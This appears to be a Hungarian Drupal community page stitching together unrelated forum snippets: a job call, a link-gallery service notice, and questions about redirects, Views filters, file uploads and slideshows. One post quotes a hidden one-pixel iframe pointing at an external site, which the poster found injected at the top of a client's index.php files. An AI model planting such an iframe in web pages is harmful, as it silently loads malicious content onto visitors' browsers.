A feladat: egy AJAX segítségével frissülő Drupal oldalon kellene a frissülést feldobni egy kis plusz animációval.
Jelentkezni a kapcsolati oldalamon keresztül, vagy az edithillyes csiga gmail pont com címen, JQuery-s referenciákkal és d.hu-s vagy weblaboros azonosítóval lehet.
Szerk.: köszönjük a jelentkezéseket, a felhívás már nem aktuális.
Szolgálati közlemény:
A drupal.hu galériába beküldött linkek közzététele technikai okok miatt szünetel. A problémát valószínűleg az okozza, hogy jelenleg a d.hu nem teljesen PHP 5.3 kompatibilis, emiatt nem tudjuk a beküldött linkeket közzétenni.
Dolgozunk a megoldáson, kérjük a már egyszer beküldött linkeket ne küldjétek be újra.
Köszönjük megértéseteket.
Kapcsolódó oldalunk:
Linkgalériával kapcsolatos kérdések a kézikönyvben
Ma reggel az egyik ügyfelem [tárhelyszolgáltató neve törölve] tárhelyén ezt találtam az index.php fáljok elején:
<iframe src="http://gratwall.vv.cc/showthread.php?t=80480463" width="1" height="1" frameborder="0"></iframe>
Először gzip tömörítési problémára gyanakodtam, mert a címlapot lekérve ilyen hibaüzenetek jöttek:
Chrome: 330net::ERR_CONTENT_DECODING_FAILED
Safari: cannot decode raw data” (CFURLErrorDomain:-1015)
Sziasztok!
Van egy Debian 6-ra frissen telepített D7-es webhely, ServerName valami.hu ServerAlias www.valami.hu. Rövid URL-ek a valami.hu domainen szépen működnek.
.htaccess-ben szeretném a www.valami.hu-t átirányítani a www nélküli címre, kivettem a # jeleket, de nem érvényesül, a www.valami.hu a sites/default könyvtárat adja. Valakinek esetleg van valami tippje, hogy mit ronthatok el?
Sziasztok!
Van egy Views nézetem felfedett szűrőkkel. Azt tapasztaltam, hogy ha kb. 60+ szűrőfeltételt adok meg, akkor a listázás elhasal, nem ad vissza találatot. Az URL maga működik. Találkozott már valaki ezzel a jelenséggel? Van valami belső korlát, hogy hány darab filtert lehet beadni a Views-nak? Esetleg a feldolgozandó URL hossza az, ami limitált? (1298 karakter, ennél lejjebb nem tudok menni, már így is 1 karakteres kulcsokat használok.) Google nem dobott ki semmi értelmeset, vagy nem jól keresek.
Drupal Version
10.0.9
Web Server
Microsoft-IIS/10.0
PHP
Version
8.2.6 (more information)
Memory limit
512M
Database
Version
8.0.33
System
MySQL, Percona Server, or equivalent
privát fájl és tmp hely beállítva
Csak ötletek: A kép megfelel a követelményeknek?
A képméretnek van alsó és felső mérethatára (vízszintes - függőleges) pixelben és a képfájlnak méretben alsó és felső határa.
Próbáltál másik képet feltölteni? Biztos nem sérült a képfájl?
Ha az userkép feltöltési beállításoknál az Alt vagy a Title adat megadása meg van követelve akkor annak elmaradása is megakadályozhatja a képfeltöltést.
Amúgy miért nem töltöd fel a Drupalból: /user/1/edit
Itt tudod a felhasználóadatok mezőinek paramétereit (köztük a képmezőt) igényeidnek megfelelően beállítani:
/admin/config/people/accounts/fields
Itt pedig a képmezőt:
/admin/config/people/accounts/fields/user.user.user_picture
Egyszerüsítem a problémát. A standard telepítésben létrejön az Article tartalomtípus, amelyet kiegészítettem egy file type mezővel. Ebbe a mezőbe feltöltésekor (standard szövegfájl kb. 1kb) kapom a logfájlban: An unrecoverable error occurred. The uploaded file likely exceeded the maximum file size (16 MB) that this server supports
Akkor egy phpinfo() alapján kellene megnézni hogy milyenek a fáljfeltöltési béállítások..
Szerintem ha a sminkben nincs
Szerintem ha a sminkben nincs olyan beállítás hogy minden oldalon megjelenjen a főoldali slideshow és a smink kódjában sem szeretnél turkálni, akkor a legegyszerűbb egy slideshow modullal létrehozni egy hasonlót és ezt már bármelyik oldalon elhelyezheted.